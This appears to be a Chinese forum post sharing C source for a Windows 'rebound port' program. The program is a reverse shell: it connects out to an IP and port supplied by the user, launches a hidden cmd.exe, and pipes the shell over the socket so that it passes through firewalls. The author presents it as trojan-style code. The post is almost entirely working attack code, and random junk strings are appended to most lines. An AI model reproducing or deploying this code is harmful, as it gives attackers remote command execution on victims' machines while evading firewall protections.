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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 iGeT^!N  
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/* ============================== [tK:y[nk  
Rebound port in Windows NT :!YJ3:\  
By wind,2006/7 iK:qPrk-  
===============================*/ qkG;YGio  
#include CJtjn  
#include QZa#i L  
/z?7ic0  
#pragma comment(lib,"wsock32.lib") $`dNl#G,  
z,x"vK(  
void OutputShell();  p6l@O3  
SOCKET sClient; n*4X/K  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; =RE_Urt:  
*k]S{]Y  
void main(int argc,char **argv) =y]b|"s~2  
{ ^PR,TR.  
WSADATA stWsaData; NITx;iC  
int nRet; !vp!\Zj7o  
SOCKADDR_IN stSaiClient,stSaiServer; YYr&r.6  
y-q?pqt  
if(argc != 3) lR2;g:&H  
{ =&/a\z!  
printf("Useage:\n\rRebound DestIP DestPort\n"); LU7)F,ok  
return; n)!_HNc9  
} vFC=qLz:  
K 0H!Ds9  
WSAStartup(MAKEWORD(2,2),&stWsaData); % j{pz  
|ylTy B  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); "g1;TT:1~  
gO myFHv.  
stSaiClient.sin_family = AF_INET; .eXA.9 |jm  
stSaiClient.sin_port = htons(0); Ngc+<  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _rVX_   
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) z n8ig/C  
{ X0QS/S-+  
printf("Bind Socket Failed!\n"); h`rjDd  
return; "UnSZ[;t  
} QF "&~  
"Am0.c/  
stSaiServer.sin_family = AF_INET; !TZ/PqcE  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); q$'&RG  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); oySM?ZE  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Cbvl( (  
{ 8%f! X51  
printf("Connect Error!"); '[8jm=Q#'  
return; k 0Yixa  
} A1$'[8U~3  
OutputShell(); )'|W[Sh?  
} EZRZ)h  
Q.$h![`6  
void OutputShell() &YKzK)@  
{ U%\2drM&]  
char szBuff[1024]; (kOv  
SECURITY_ATTRIBUTES stSecurityAttributes; oHnpwU  
OSVERSIONINFO stOsversionInfo; wh+ibH}@!  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; "0)G|pZI  
STARTUPINFO stStartupInfo; rqJj!{<B  
char *szShell; o?+e_n=  
PROCESS_INFORMATION stProcessInformation; )pa|uH +N  
unsigned long lBytesRead; ]%hI-  
RUh{^3;~  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); wVtBeZa  
ur7a%NH  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); EA#!h'-s  
stSecurityAttributes.lpSecurityDescriptor = 0; f L?~1i =  
stSecurityAttributes.bInheritHandle = TRUE; kcUt!PL  
HbVm O]#$D  
wuQkeWxJ  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 7z&u92dJI  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ox#4|<qM  
t[,\TM^h}0  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); -bfd><bs  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; K\Q 1/})  
stStartupInfo.wShowWindow = SW_HIDE; }cmL{S  
stStartupInfo.hStdInput = hReadPipe; '|R|7nQAj  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 5UyK1e))  
>UH=]$0N  
GetVersionEx(&stOsversionInfo); qChPT:a  
s:P-F0q!&  
switch(stOsversionInfo.dwPlatformId) oGJI3Oh  
{ *A`^ C  
case 1: h,G$e|[?  
szShell = "command.com"; tWI hbt  
break; Xw)+5+t"{  
default: K)ib{V(50  
szShell = "cmd.exe"; C%"@|01cO  
break; VF.S)='>Eu  
} tnntHQ&b  
JG4I-\+H  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 4esf&-gG  
lom4z\6  
send(sClient,szMsg,77,0); b-XBs7OAx  
while(1) QH:i)v*  
{ V6N#%(?3  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); o? =u#=  
if(lBytesRead) B}.ia_&DLR  
{ S7R^%Wck/6  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8~7EWl  
send(sClient,szBuff,lBytesRead,0); );vU=p"@  
} 1Mqz+@~11  
else N !:&$z-  
{ 89l}6p/L  
lBytesRead=recv(sClient,szBuff,1024,0); APy a&TG  
if(lBytesRead<=0) break; 6O?O6Ub  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (RF6K6~  
} nr}H;wB  
} k<y$[xV  
.u)YZN0\  
return; &o(? }W  
}
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